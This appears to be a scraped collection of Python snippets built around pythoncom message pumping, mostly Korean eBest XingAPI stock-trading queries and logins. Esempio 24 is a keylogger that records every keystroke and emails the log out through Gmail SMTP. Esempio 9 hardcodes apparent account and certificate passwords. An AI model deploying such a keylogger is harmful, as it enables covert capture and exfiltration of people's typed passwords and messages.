Esempio n. 1
0
def t8430(구분='1'):   #구분에 따른 상장된 전 종목=0, 코스피=1, 코스닥=2
    '''
    주식종목코드조회
    '''
    query = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery", XAQueryEvents)
    pathname = os.path.dirname(sys.argv[0])
    RESDIR = os.path.abspath(pathname)


    MYNAME = inspect.currentframe().f_code.co_name
    #print(MYNAME)
    INBLOCK = "%sInBlock" % MYNAME
    OUTBLOCK = "%sOutBlock" % MYNAME
    OUTBLOCK1 = "%sOutBlock1" % MYNAME
    RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME)
    

    query.LoadFromResFile(RESFILE)
    query.SetFieldData(INBLOCK, "gubun", 0, 구분)
    query.Request(0)

    while XAQueryEvents.상태 == False:
        pythoncom.PumpWaitingMessages()

    result = []
    nCount = query.GetBlockCount(OUTBLOCK)
    for i in range(nCount):
        종목명 = query.GetFieldData(OUTBLOCK, "hname", i).strip()
        단축코드 = query.GetFieldData(OUTBLOCK, "shcode", i).strip()
        ETF구분 = int(query.GetFieldData(OUTBLOCK, "etfgubun", i).strip())

        lst = [종목명,단축코드,ETF구분]
        result.append(lst)

    XAQueryEvents.상태 = False

    columns=['종목명','단축코드','ETF구분']
    df = DataFrame(data=result, columns=columns)
    return df
Esempio n. 2
0
def login_process(demo=False):
    if demo:
        server_addr = "demo.ebestsec.co.kr"
        user_certificate_pass = None
    else:
        server_addr = "hts.ebestsec.co.kr"
        user_certificate_pass = ""

    server_port = 20001
    server_type = 0
    user_id = ""
    user_pass = ""

    inXASession = win32com.client.DispatchWithEvents("XA_Session.XASession",
                                                     XASessionEvents)
    inXASession.ConnectServer(server_addr, server_port)
    inXASession.Login(user_id, user_pass, user_certificate_pass, server_type,
                      0)

    while XASessionEvents.logInState == 0:
        time.sleep(0.01)
        pythoncom.PumpWaitingMessages()
Esempio n. 3
0
def t1410(구분='1', 종목코드_CTS=""):
    '''
    초저유동성조회
    '''
    query = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery",
                                               XAQueryEvents)
    pathname = os.path.dirname(sys.argv[0])
    RESDIR = os.path.abspath(pathname)

    MYNAME = inspect.currentframe().f_code.co_name
    #print(MYNAME)
    INBLOCK = "%sInBlock" % MYNAME
    OUTBLOCK = "%sOutBlock" % MYNAME
    OUTBLOCK1 = "%sOutBlock1" % MYNAME
    RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME)

    query.LoadFromResFile(RESFILE)
    query.SetFieldData(INBLOCK, "gubun", 0, 구분)
    query.SetFieldData(INBLOCK, "cts_shcode", 0, 종목코드_CTS)
    query.Request(0)

    while XAQueryEvents.상태 == False:
        pythoncom.PumpWaitingMessages()

    result = []
    nCount = query.GetBlockCount(OUTBLOCK1)
    for i in range(nCount):
        한글명 = query.GetFieldData(OUTBLOCK1, "hname", i).strip()
        종목코드 = query.GetFieldData(OUTBLOCK1, "shcode", i).strip()

        lst = [한글명, 종목코드]
        result.append(lst)

    columns = ["한글명", "종목코드"]
    df = DataFrame(data=result, columns=columns)

    XAQueryEvents.상태 = False

    return df
Esempio n. 4
0
    def t1615(self):
        inXAQuery = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery",
                                                       XAQueryEvents)

        pathname = os.path.dirname(sys.argv[0])
        RESDIR = os.path.abspath(pathname)
        MYNAME = inspect.currentframe().f_code.co_name
        RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME)

        inXAQuery.LoadFromResFile(RESFILE)
        inXAQuery.SetFieldData('t1615InBlock', 'gubun1', 0, 1)
        inXAQuery.Request(0)

        while XAQueryEvents.상태 == False:
            pythoncom.PumpWaitingMessages()
        XAQueryEvents.상태 = False

        nCount = inXAQuery.GetBlockCount('t1615OutBlock1')
        resultList = []
        stock = {}
        for i in range(nCount):
            시간 = int(
                int(datetime.datetime.today().strftime("%H%M%S%f")) / 100000)

            시장명 = inXAQuery.GetFieldData('t1615OutBlock1', 'hname', i)
            개인 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_08', i)
            외국인 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_17', i)
            기관계 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_18', i)
            증권 = inXAQuery.GetFieldData('t1615OutBlock1', 'sv_07', i)

            stock['시장명'] = 시장명

            lst = [시간, 시장명, 개인, 외국인, 기관계, 증권]
            resultList.append(lst)

        df = DataFrame(data=resultList,
                       columns=['시간', '시장명', '개인', '외국인', '기관계', '증권'])
        # print(df)
        return df, stock
Esempio n. 5
0
def Login():
    class XASessionEventHandler:
        login_state = 0
    
        def OnLogin(self, code, msg):
            if code == "0000":
                print("로그인 성공")
                XASessionEventHandler.login_state = 1
            else:
                print("로그인 실패")
    
    instXASession = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEventHandler)
    
    id = "ID"
    passwd = "비밀번호"
    cert_passwd = "공인인증서비번"
    
    instXASession.ConnectServer("hts.ebestsec.co.kr", 20001)
    instXASession.Login(id, passwd, cert_passwd, 0, 0)
    
    while XASessionEventHandler.login_state == 0:
        pythoncom.PumpWaitingMessages()
Esempio n. 6
0
    def block_request(self, *args, **kwargs):
        trcode = args[0].lower()
        lines = parser.read_enc(trcode)
        self.tr_items = parser.parse_dat(trcode, lines)
        self.tr_record = kwargs["output"]
        next = kwargs["next"]

        # set input
        for id in kwargs:
            if id.lower() != "output" and id.lower() != "next":
                self.SetInputValue(id, kwargs[id])

        # initialize
        self.received = False
        self.tr_remained = False

        # request
        self.CommRqData(trcode, trcode, next, "0101")
        while not self.received:
            pythoncom.PumpWaitingMessages()

        return self.tr_data
Esempio n. 7
0
def _WaitForFinish(ob, timeout):
    end = time.time() + timeout
    while 1:
        if msvcrt.kbhit():
            msvcrt.getch()
            break
        pythoncom.PumpWaitingMessages()
        stopEvent.wait(.2)
        if stopEvent.isSet():
            stopEvent.clear()
            break
        try:
            if not ob.Visible:
                # Gone invisible - we need to pretend we timed
                # out, so the app is quit.
                return 0
        except pythoncom.com_error:
            # Excel is busy (eg, editing the cell) - ignore
            pass
        if time.time() > end:
            return 0
    return 1
Esempio n. 8
0
def main():
    logging.basicConfig(level=logging.INFO)

    try:
        path = os.path.dirname(__file__)
    except NameError:
        # The "__file__" name is not always available, for example
        #  when this module is run from PythonWin.  In this case we
        #  simply use the current working directory.
        path = os.getcwd()
        __file__ = os.path.join(path, "dfly-loader-wsr.py")

    engine = Sapi5InProcEngine()
    engine.connect()

    directory = CommandModuleDirectory(path, excludes=[__file__])
    directory.load()

    engine.speak('beginning loop!')
    while 1:
        pythoncom.PumpWaitingMessages()
        time.sleep(.1)
Esempio n. 9
0
def Login(url='hts.etrade.co.kr', port=20001, svrtype=0, id='qkrrkgus', pwd='test2535', cert='1104qq11!!'):
    session = win32com.client.DispatchWithEvents("XA_Session.XASession", XASessionEvents)
    session.SetMode("_XINGAPI7_","TRUE")
    result = session.ConnectServer(url, port)

    if not result:
        nErrCode = session.GetLastError()
        strErrMsg = session.GetErrorMessage(nErrCode)
        return (False, nErrCode, strErrMsg, None, session)

    session.Login(id, pwd, cert, svrtype, 0)

    while XASessionEvents.상태 == False:
        pythoncom.PumpWaitingMessages()

    계좌 = []
    계좌수 = session.GetAccountListCount()

    for i in range(계좌수):
        계좌.append(session.GetAccountList(i))

    return (True, 0, "OK", 계좌, session)
Esempio n. 10
0
    def t8436(self, gubun):
        inXAQuery = win32com.client.DispatchWithEvents("XA_DataSet.XAQuery",
                                                       XAQueryEvents)

        pathname = os.path.dirname(sys.argv[0])
        RESDIR = os.path.abspath(pathname)
        MYNAME = inspect.currentframe().f_code.co_name
        RESFILE = "%s\\Res\\%s.res" % (RESDIR, MYNAME)

        inXAQuery.LoadFromResFile(RESFILE)
        inXAQuery.SetFieldData('t8436InBlock', 'gubun', 0, gubun)
        inXAQuery.Request(0)

        while XAQueryEvents.상태 == False:
            pythoncom.PumpWaitingMessages()
        XAQueryEvents.상태 = False

        nCount = inXAQuery.GetBlockCount('t8436OutBlock')
        resultList = []
        stock = {}
        for i in range(nCount):
            시간 = int(
                int(datetime.datetime.today().strftime("%H%M%S%f")) / 100000)

            코드 = inXAQuery.GetFieldData('t8436OutBlock', 'shcode', i)
            한글명 = inXAQuery.GetFieldData('t8436OutBlock', 'hname', i)
            구분 = inXAQuery.GetFieldData('t8436OutBlock', 'gubun', i)
            ETF구분 = inXAQuery.GetFieldData('t8436OutBlock', 'etfgubun', i)

            stock['코드'] = 코드

            lst = [시간, 한글명, 코드, 구분, ETF구분]
            resultList.append(lst)

        df = DataFrame(data=resultList,
                       columns=['시간', '한글명', '코드', '구분', 'ETF구분'])
        print(df)
        return df, stock
Esempio n. 11
0
    def SvcDoRun(self):
        '''
        Main service loop
        '''
        try:
            logger.debug('running SvcDoRun')
            servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                                  servicemanager.PYS_SERVICE_STARTED,
                                  (self._svc_name_, ''))

            # call the CoInitialize to allow the registration to run in an other
            # thread
            logger.debug('Initializing com...')
            pythoncom.CoInitialize()

            # Initialize remaining service data
            self.initialize()
        except Exception:  # Any init exception wil be caught, service must be then restarted
            logger.exception()
            logger.debug('Exiting service with failure status')
            os._exit(-1)  # pylint: disable=protected-access

        # *********************
        # * Main Service loop *
        # *********************
        try:
            while self.isAlive:
                # Pumps & processes any waiting messages
                pythoncom.PumpWaitingMessages()
                win32event.WaitForSingleObject(self.hWaitStop, 1000)
        except Exception as e:
            logger.error('Caught exception on main loop: {}'.format(e))

        logger.debug('Exited main loop, deregistering SENS')

        self.terminate()  # Ends IPC servers

        self.notifyStop()
Esempio n. 12
0
    def request_stk_prc(self, gicode="", res_id="t1102"):
        """
        Load name, price, trading volumne of a certain stock.

        Parameters
        ----------
        :param gicode: stock code
        :param res_id: t1102

        Returns
        -------
        :return: load stock name, current price, current cumulative volume
        """
        prc_df = pd.DataFrame(columns=["name", "prc", "volume"])

        query = win32com.client.DispatchWithEvents(self._QUERY_NM,
                                                   RequestSessionEventHandler)
        query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
        query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id), "shcode",
                           0, gicode[1:])
        query.Request(0)

        while RequestSessionEventHandler.query_state == 0:
            pythoncom.PumpWaitingMessages()

        name = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id),
                                  "hname", 0)
        price = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id),
                                   "price", 0)
        volume = query.GetFieldData(self._OUT_BLOCK.replace("tmpnm", res_id),
                                    "volume", 0)

        prc_df.loc[0, "name"] = name
        prc_df.loc[0, "prc"] = price
        prc_df.loc[0, "volume"] = volume
        RequestSessionEventHandler.query_state = 0

        return prc_df
Esempio n. 13
0
    def slot_login(self):
        server = self.server
        port = 20001
        servertype = self.servertype
        showcerterror = 1
        user = str(self.ui.lineEditId.text())
        password = str(self.ui.lineEditPassword.text())
        certpw = str(self.ui.lineEditEtradeServerName.text())

        if user == '':
            return
        if self._XASession == None:
            self._XASession = px.XASession()
        self._XASession.observer = proxy(self)
        self._XASession.ConnectServer(server, port)
        #print 'connect server'
        ret = self._XASession.Login(user, password, certpw, servertype,
                                    showcerterror)

        px.XASessionEvents.session = self._XASession
        self._XASession.flag = True
        while self._XASession.flag:
            pythoncom.PumpWaitingMessages()
Esempio n. 14
0
 def handle_input( self, dataDicts ):
     self.detector.tick( dataDicts )
     self.quadrant3x3 = self.detector.detect_mouse_quadrant( 3, 3 )
     self.quadrant4x3 = self.detector.detect_mouse_quadrant( 4, 3 )
     
     if( self.detect_silence() ):
         self.stop_drag_mouse()
         self.inputManager.release_non_toggle_keys()
             
     # Recognize speech commands in speech mode
     if( self.mode == "speech" ):
         if (IS_WINDOWS == True):
             pythoncom.PumpWaitingMessages()
             self.handle_speech( dataDicts )
         else:
             print( "Speech recognition is only implemented for Windows")
             self.mode = "regular"
         
     # Regular quick command mode
     elif( self.mode == "regular" ):
         self.handle_sounds( dataDicts )
         
     return self.detector.tickActions
Esempio n. 15
0
    def T8430(gubun=1):
        instXAQueryT8430 = win32com.client.DispatchWithEvents(
            "XA_DataSet.XAQuery", XAQueryEventsT8430)
        instXAQueryT8430.ResFileName = "C:\\eBEST\\xingAPI\\Res\\t8430.res"
        instXAQueryT8430.SetFieldData("t8430InBlock", "gubun", 0, gubun)
        instXAQueryT8430.Request(0)

        while XAQueryEventsT8430.query_state == 0:
            pythoncom.PumpWaitingMessages()
        XAQueryEventsT8430.query_state = 0

        count = instXAQueryT8430.GetBlockCount("t8430OutBlock")
        print("# of codes = ", count)
        myShcode = []
        for i in range(count):
            hname = instXAQueryT8430.GetFieldData("t8430OutBlock", "hname", i)
            shcode = instXAQueryT8430.GetFieldData("t8430OutBlock", "shcode",
                                                   i)
            #expcode = instXAQueryT8430.GetFieldData("t8430OutBlock", "expcode", i)
            #etfgubun = instXAQueryT8430.GetFieldData("t8430OutBlock", "etfgubun", i)
            myShcode.append(shcode)
            print(i, hname, shcode)
        return myShcode
Esempio n. 16
0
def _MessagePump():

	while 1:
		
		rc = win32event.MsgWaitForMultipleObjects(
			(StopEvent,OtherEvent), 
			0, # wait for all = false
			TIMEOUT,  #  (or win32event.INFINITE)
			win32event.QS_ALLEVENTS) # type of input

		# You can call a function here if it doesn't take too long.
		#   It will get executed *at least* every 200ms -- possibly
		#   a lot more, depending on the number of windows messages received.

		if rc == win32event.WAIT_OBJECT_0:
			# Our first event listed was triggered.
			# Someone wants us to exit.
			break
		elif rc == win32event.WAIT_OBJECT_0+1:
			# Our second event "OtherEvent" listed was set.
			# This is from some other component -
			#   wait on as many events as you need
		elif rc == win32event.WAIT_OBJECT_0+2:
			# A windows message is waiting - take care of it.
			# (Don't ask me why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0)
			# Note: this must be done for COM and other windowsy
			#   things to work.
			if pythoncom.PumpWaitingMessages():
				break # wm_quit
		elif rc == win32event.WAIT_TIMEOUT:
			# Our timeout has elapsed.
			# Do some work here (e.g, poll something can you can't thread)
			#   or just feel good to be alive.
			# Good place to call watchdog(). (Editor's note: See my "thread lifetime" recepie.)
			pass
		else:
			raise RuntimeError( "unexpected win32wait return value")
Esempio n. 17
0
    def __init__(self, debug):
        if debug:
            return
        print('init')

        self.instXASession = winAPI.DispatchWithEvents("XA_Session.XASession",
                                                       XASessionEvents)
        if self.instXASession.IsConnected() is True:
            self.instXASession.DisconnectServer()

        # demo.ebestsec.co.kr => 모의투자
        # hts.ebestsec.co.kr => 실투자
        self.instXASession.ConnectServer("hts.ebestsec.co.kr", SERVER_PORT)
        self.instXASession.Login(id, password, certificate_password,
                                 SERVER_PORT, SHOW_CERTIFICATE_ERROR_DIALOG)

        while XASessionEvents.login_state is STAND_BY:
            pythoncom.PumpWaitingMessages()
        XASessionEvents.login_state = STAND_BY

        self.계좌 = []
        계좌수 = self.instXASession.GetAccountListCount()

        for i in range(계좌수):
            self.계좌.append(self.instXASession.GetAccountList(i))

        print(self.계좌)

        df0, df = self.t0424(계좌번호=self.계좌[0],
                             비밀번호=password,
                             단가구분='1',
                             체결구분='0',
                             단일가구분='0',
                             제비용포함여부='1',
                             CTS_종목번호='')
        print(df0)
        print(df)
Esempio n. 18
0
def login():
    server_addr = "hts.ebestsec.co.kr"
    server_port = 20001
    server_type = 0
    user_id = "testtest"
    user_pass = "******"
    user_certificate_pass = "******"

    #--------------------------------------------------------------------------
    # Login Session
    #--------------------------------------------------------------------------
    inXASession = win32com.client.DispatchWithEvents("XA_Session.XASession",
                                                     XASessionEvents)
    inXASession.ConnectServer(server_addr, server_port)
    inXASession.Login(user_id, user_pass, user_certificate_pass, server_type,
                      0)

    while XASessionEvents.logInState == 0:
        pythoncom.PumpWaitingMessages()

    if XASessionEvents.logInState == 1:
        return True
    else:
        return False
Esempio n. 19
0
def __Price_Check(Target_Expcode):
    print("# Price_Check Start : %s, hcode : %s" %
          (datetime.datetime.today().strftime("%H:%M:%S"), Target_Expcode))

    ##################################################
    # 주식 현재가 호가 조회
    class XAQueryEventHandlerT1101:
        query_state = 0

        def OnReceiveData(self, code):
            XAQueryEventHandlerT1101.query_state = 1

    ##################################################
    instXAQueryT1101 = win32com.client.DispatchWithEvents(
        "XA_DataSet.XAQuery", XAQueryEventHandlerT1101)
    instXAQueryT1101.ResFileName = "C:\\eBEST\\xingAPI\\Res\\t1101.res"
    instXAQueryT1101.SetFieldData("t1101InBlock", "shcode", 0, Target_Expcode)

    instXAQueryT1101.Request(0)  # Request 메서드를 호출해서 입력 데이터를 서버로 전송

    while XAQueryEventHandlerT1101.query_state == 0:  # 서버에 TR 요청을 했다면 해당 작업이 완료됐다는 이벤트를 받을 때까지 프로그램이 종료되지 않고 대기
        pythoncom.PumpWaitingMessages()

    hname = instXAQueryT1101.GetFieldData("t1101OutBlock", "hname", 0)
    price = instXAQueryT1101.GetFieldData("t1101OutBlock", "price", 0)
    bidho2 = instXAQueryT1101.GetFieldData("t1101OutBlock", "bidho2", 0)
    offerho2 = instXAQueryT1101.GetFieldData("t1101OutBlock", "offerho2", 0)
    print("종목 : %s, 가격 : %s, 매수호가2 : %s, 매도호가2 : %s" %
          (hname, price, bidho2, offerho2))

    print("# Price_Check End : %s, hcode : %s" %
          (datetime.datetime.today().strftime("%H:%M:%S"), Target_Expcode))

    return price, bidho2

    instXAQueryT1101.close()
Esempio n. 20
0
 def slot_AutoStartXing(self, auto_config):
     server = 'hts.ebestsec.co.kr'
     port = 20001
     servertype = 0
     showcerterror = 1
     user = str(auto_config['id'])
     password = str(auto_config['pwd'].decode('hex'))
     certpw = str(auto_config['cetpwd'].decode('hex'))
     servertype = int(auto_config['servertype'])
     if servertype == 1:
         server = 'demo.ebestsec.co.kr'
     elif servertype == 0:
         server = 'hts.ebestsec.co.kr'
     
     self.XASession.ConnectServer(server, port)
     # print 'connect server'
     ret = self.XASession.Login(user, password, certpw, servertype, showcerterror)
             
     px.XASessionEvents.session = self.XASession
     self.XASession.flag = True
     while self.XASession.flag:
         pythoncom.PumpWaitingMessages()
     self.start_xing_query()
     pass
Esempio n. 21
0
    def _waiting_queue(self):
        Log.write("Grinder waiting queue")
        while self.running:
            try:
                if self.command_priority_queue.qsize() > 0:
                    command = self.command_priority_queue.get(True, self.command_queue_timeout)
                else:
                    command = self.command_queue.get(True, self.command_queue_timeout)
            except queue.Empty as em:
                pythoncom.PumpWaitingMessages()
                continue

            # idx_level = command_tuple[self.IDX_LEVEL]
            # command = command_tuple[self.IDX_COMMAND]

            Log.write("Request Command : " + command.get_tr_name())
            if command.get_tr_name() == CM.SHUTDOWN:
                self._shutdown()
                pythoncom.CoUninitialize()
            else:
                try:
                    self._execute(command)
                except Exception as ex:
                    Log.write("*EXCEPTION* EXECUTE COMMAND : " + str(ex))
Esempio n. 22
0
def _MessagePump():
    waitables = StopEvent, OtherEvent
    while True:
        rc = win32event.MsgWaitForMultipleObjects(
            waitables,
            0,  # Wait for all = false, so it waits for any one
            TIMEOUT,  # (or win32event.INFINITE)
            win32event.QS_ALLEVENTS)  # Accept all kinds of events
        # You can call a function here, if it doesn't take too long. It will
        # be executed at least every TIMEOUT ms -- possibly a lot more often,
        # depending on the number of Windows messages received.
        if rc == win32event.WAIT_OBJECT_0:
            # Our first event listed, the StopEvent, was triggered, so
            # we must exit, terminating the message pump
            break
        elif rc == win32event.WAIT_OBJECT_0 + 1:
            # Our second event listed, "OtherEvent", was set. Do
            # whatever needs to be done -- you can wait on as many
            # kernel-waitable objects as needed (events, locks,
            # processes, threads, notifications, and so on).
            pass
        elif rc == win32event.WAIT_OBJECT_0 + len(waitables):
            # A windows message is waiting - take care of it. (Don't
            # ask me why a WAIT_OBJECT_MSG isn't defined <
            # WAIT_OBJECT_0...!).
            # This message-serving MUST be done for COM, DDE, and other
            # Windows-y things to work properly!
            if pythoncom.PumpWaitingMessages():
                break  # we received a wm_quit message
        elif rc == win32event.WAIT_TIMEOUT:
            # Our timeout has elapsed.
            # Do some work here (e.g, poll something you can't thread)
            # or just feel good to be alive.
            pass
        else:
            raise RuntimeError("unexpected win32wait return value")
Esempio n. 23
0
def main():
    ns = osbrain.run_nameserver()
##    alice = run_agent('Alice')
    bob = osbrain.run_agent('Bob')

    # System configuration
##    addr = alice.bind('PUSH', alias='main')
    
    
    Connect()
    bob.connect(Notify.addr, handler=log_message)
    pInstr = EnsureDispatch('XTAPI.TTInstrObj')
    pInstr.Exchange = 'TOCOM-B'
    pInstr.Product  = 'RSS3'
    pInstr.Contract = '24Jun19'
    pInstr.ProdType = 'FUTURE'

    Notify.Subscribe(pInstr)


    for i in range(10):
        print('pumping...')
        pythoncom.PumpWaitingMessages()
        sleep(1.0)
Esempio n. 24
0
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(gmail_user, gmail_pass)
        server.sendmail(FROM, TO, message)
        server.close()
        print('Correo enviado satisfactoriamente!')

    except:
        print('Error al mandar correo')


def OnKeyBoardEvent(event):
    logging.basicConfig(filename=file_log,
                        level=logging.DEBUG,
                        format='%(message)s')
    logging.log(10, chr(event.Ascii))
    return True


hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyBoardEvent
hooks_manager.HookKeyboard()

while True:
    if TimeOut():
        FormatAndSendEmail()
        timeout = time.time() + wait_seconds

    pythoncom.PumpWaitingMessages()
Esempio n. 25
0
    def SvcDoRun(self):
        '''
        Main service loop
        '''
        try:
            initCfg()

            logger.debug('running SvcDoRun')
            servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,
                                  servicemanager.PYS_SERVICE_STARTED,
                                  (self._svc_name_, ''))

            # call the CoInitialize to allow the registration to run in an other
            # thread
            logger.debug('Initializing com...')
            pythoncom.CoInitialize()

            # ********************************************************
            # * Ask brokers what to do before proceding to main loop *
            # ********************************************************
            while True:
                brokerConnected = self.interactWithBroker()
                if brokerConnected is False:
                    logger.debug(
                        'Interact with broker returned false, stopping service after a while'
                    )
                    self.notifyStop()
                    win32event.WaitForSingleObject(self.hWaitStop, 5000)
                    return
                elif brokerConnected is True:
                    break

                # If brokerConnected returns None, repeat the cycle
                self.doWait(16000)  # Wait for a looong while

            if self.interactWithBroker() is False:
                logger.debug(
                    'Interact with broker returned false, stopping service after a while'
                )
                self.notifyStop()
                win32event.WaitForSingleObject(self.hWaitStop, 5000)
                return

            if self.isAlive is False:
                logger.debug(
                    'The service is not alive after broker interaction, stopping it'
                )
                self.notifyStop()
                return

            if self.rebootRequested is True:
                logger.debug('Reboot has been requested, stopping service')
                self.notifyStop()
                return

            self.initIPC()
        except Exception:  # Any init exception wil be caught, service must be then restarted
            logger.exception()
            logger.debug('Exiting service with failure status')
            os._exit(-1)  # pylint: disable=protected-access

        # ********************************
        # * Registers SENS subscriptions *
        # ********************************
        logevent('Registering ISensLogon')
        subscription_guid = '{41099152-498E-11E4-8FD3-10FEED05884B}'
        sl = SensLogon(self)
        subscription_interface = pythoncom.WrapObject(sl)

        event_system = win32com.client.Dispatch(PROGID_EventSystem)

        event_subscription = win32com.client.Dispatch(PROGID_EventSubscription)
        event_subscription.EventClassID = SENSGUID_EVENTCLASS_LOGON
        event_subscription.PublisherID = SENSGUID_PUBLISHER
        event_subscription.SubscriptionName = 'UDS Actor subscription'
        event_subscription.SubscriptionID = subscription_guid
        event_subscription.SubscriberInterface = subscription_interface

        event_system.Store(PROGID_EventSubscription, event_subscription)

        logger.debug('Registered SENS, running main loop')

        # Execute script in c:\\windows\\post-uds.bat after interacting with broker, if no reboot is requested ofc
        # This will be executed only when machine gets "ready"
        try:
            if os.path.isfile(POST_CMD):
                subprocess.call([
                    POST_CMD,
                ])
            else:
                logger.info('POST file not found & not executed')
        except Exception as e:
            # Ignore output of execution command
            logger.error('Executing post command give')

        # *********************
        # * Main Service loop *
        # *********************
        # Counter used to check ip changes only once every 10 seconds, for
        # example
        counter = 0
        while self.isAlive:
            counter += 1
            # Process SENS messages, This will be a bit asyncronous (1 second
            # delay)
            pythoncom.PumpWaitingMessages()
            if counter >= 15:  # Once every 15 seconds
                counter = 0
                try:
                    self.checkIpsChanged()
                except Exception as e:
                    logger.error('Error checking ip change: {}'.format(e))
            # In milliseconds, will break
            win32event.WaitForSingleObject(self.hWaitStop, 1000)

        logger.debug('Exited main loop, deregistering SENS')

        # *******************************************
        # * Remove SENS subscription before exiting *
        # *******************************************
        event_system.Remove(PROGID_EventSubscription,
                            "SubscriptionID == " + subscription_guid)

        self.endIPC()  # Ends IPC servers
        self.endAPI()  # And deinitializes REST api if needed

        self.notifyStop()
Esempio n. 26
0
 def run(self):
     self.hm.MouseAll = self._action
     self.hm.HookMouse()
     while self.state:
         sleep(0.01)
         pythoncom.PumpWaitingMessages()
Esempio n. 27
0
    def iread(self,
              tags=None,
              group=None,
              size=None,
              pause=0,
              source='hybrid',
              update=-1,
              timeout=5000,
              sync=False,
              include_error=False,
              rebuild=False):
        """Iterable version of read()"""
        def add_items(tags):
            names = list(tags)

            names.insert(0, 0)
            errors = []

            if self.trace: self.trace('Validate(%s)' % tags2trace(names))

            try:
                errors = opc_items.Validate(len(names) - 1, names)
            except:
                pass

            valid_tags = []
            valid_values = []
            client_handles = []

            if not sub_group in self._group_handles_tag:
                self._group_handles_tag[sub_group] = {}
                n = 0
            elif len(self._group_handles_tag[sub_group]) > 0:
                n = max(self._group_handles_tag[sub_group]) + 1
            else:
                n = 0

            for i, tag in enumerate(tags):
                if errors[i] == 0:
                    valid_tags.append(tag)
                    client_handles.append(n)
                    self._group_handles_tag[sub_group][n] = tag
                    n += 1
                elif include_error:
                    error_msgs[tag] = self._opc.GetErrorString(errors[i])

                if self.trace and errors[i] != 0:
                    self.trace('%s failed validation' % tag)

            client_handles.insert(0, 0)
            valid_tags.insert(0, 0)
            server_handles = []
            errors = []

            if self.trace: self.trace('AddItems(%s)' % tags2trace(valid_tags))

            try:
                server_handles, errors = opc_items.AddItems(
                    len(client_handles) - 1, valid_tags, client_handles)
            except:
                pass

            valid_tags_tmp = []
            server_handles_tmp = []
            valid_tags.pop(0)

            if not sub_group in self._group_server_handles:
                self._group_server_handles[sub_group] = {}

            for i, tag in enumerate(valid_tags):
                if errors[i] == 0:
                    valid_tags_tmp.append(tag)
                    server_handles_tmp.append(server_handles[i])
                    self._group_server_handles[sub_group][
                        tag] = server_handles[i]
                elif include_error:
                    error_msgs[tag] = self._opc.GetErrorString(errors[i])

            valid_tags = valid_tags_tmp
            server_handles = server_handles_tmp

            return valid_tags, server_handles

        def remove_items(tags):
            if self.trace:
                self.trace('RemoveItems(%s)' % tags2trace([''] + tags))
            server_handles = [
                self._group_server_handles[sub_group][tag] for tag in tags
            ]
            server_handles.insert(0, 0)
            errors = []

            try:
                errors = opc_items.Remove(
                    len(server_handles) - 1, server_handles)
            except pythoncom.com_error as err:
                error_msg = 'RemoveItems: %s' % self._get_error_str(err)
                raise OPCError(error_msg)

        try:
            self._update_tx_time()
            pythoncom.CoInitialize()

            if include_error:
                sync = True

            if sync:
                update = -1

            tags, single, valid = type_check(tags)
            if not valid:
                raise TypeError(
                    "iread(): 'tags' parameter must be a string or a list of strings"
                )

            # Group exists
            if group in self._groups and not rebuild:
                num_groups = self._groups[group]
                data_source = SOURCE_CACHE

            # Group non-existant
            else:
                if size:
                    # Break-up tags into groups of 'size' tags
                    tag_groups = [
                        tags[i:i + size] for i in range(0, len(tags), size)
                    ]
                else:
                    tag_groups = [tags]

                num_groups = len(tag_groups)
                data_source = SOURCE_DEVICE

            results = []

            for gid in range(num_groups):
                if gid > 0 and pause > 0: time.sleep(pause / 1000.0)

                error_msgs = {}
                opc_groups = self._opc.OPCGroups
                opc_groups.DefaultGroupUpdateRate = update

                # Anonymous group
                if group == None:
                    try:
                        if self.trace: self.trace('AddGroup()')
                        opc_group = opc_groups.Add()
                    except pythoncom.com_error as err:
                        error_msg = 'AddGroup: %s' % self._get_error_str(err)
                        raise OPCError(error_msg)
                    sub_group = group
                    new_group = True
                else:
                    sub_group = '%s.%d' % (group, gid)

                    # Existing named group
                    try:
                        if self.trace:
                            self.trace('GetOPCGroup(%s)' % sub_group)
                        opc_group = opc_groups.GetOPCGroup(sub_group)
                        new_group = False

                    # New named group
                    except:
                        try:
                            if self.trace:
                                self.trace('AddGroup(%s)' % sub_group)
                            opc_group = opc_groups.Add(sub_group)
                        except pythoncom.com_error as err:
                            error_msg = 'AddGroup: %s' % self._get_error_str(
                                err)
                            raise OPCError(error_msg)
                        self._groups[str(group)] = len(tag_groups)
                        new_group = True

                opc_items = opc_group.OPCItems

                if new_group:
                    opc_group.IsSubscribed = 1
                    opc_group.IsActive = 1
                    if not sync:
                        if self.trace:
                            self.trace('WithEvents(%s)' % opc_group.Name)
                        global current_client
                        current_client = self
                        self._group_hooks[
                            opc_group.Name] = win32com.client.WithEvents(
                                opc_group, GroupEvents)

                    tags = tag_groups[gid]

                    valid_tags, server_handles = add_items(tags)

                    self._group_tags[sub_group] = tags
                    self._group_valid_tags[sub_group] = valid_tags

                # Rebuild existing group
                elif rebuild:
                    tags = tag_groups[gid]

                    valid_tags = self._group_valid_tags[sub_group]
                    add_tags = [t for t in tags if t not in valid_tags]
                    del_tags = [t for t in valid_tags if t not in tags]

                    if len(add_tags) > 0:
                        valid_tags, server_handles = add_items(add_tags)
                        valid_tags = self._group_valid_tags[
                            sub_group] + valid_tags

                    if len(del_tags) > 0:
                        remove_items(del_tags)
                        valid_tags = [
                            t for t in valid_tags if t not in del_tags
                        ]

                    self._group_tags[sub_group] = tags
                    self._group_valid_tags[sub_group] = valid_tags

                    if source == 'hybrid': data_source = SOURCE_DEVICE

                # Existing group
                else:
                    tags = self._group_tags[sub_group]
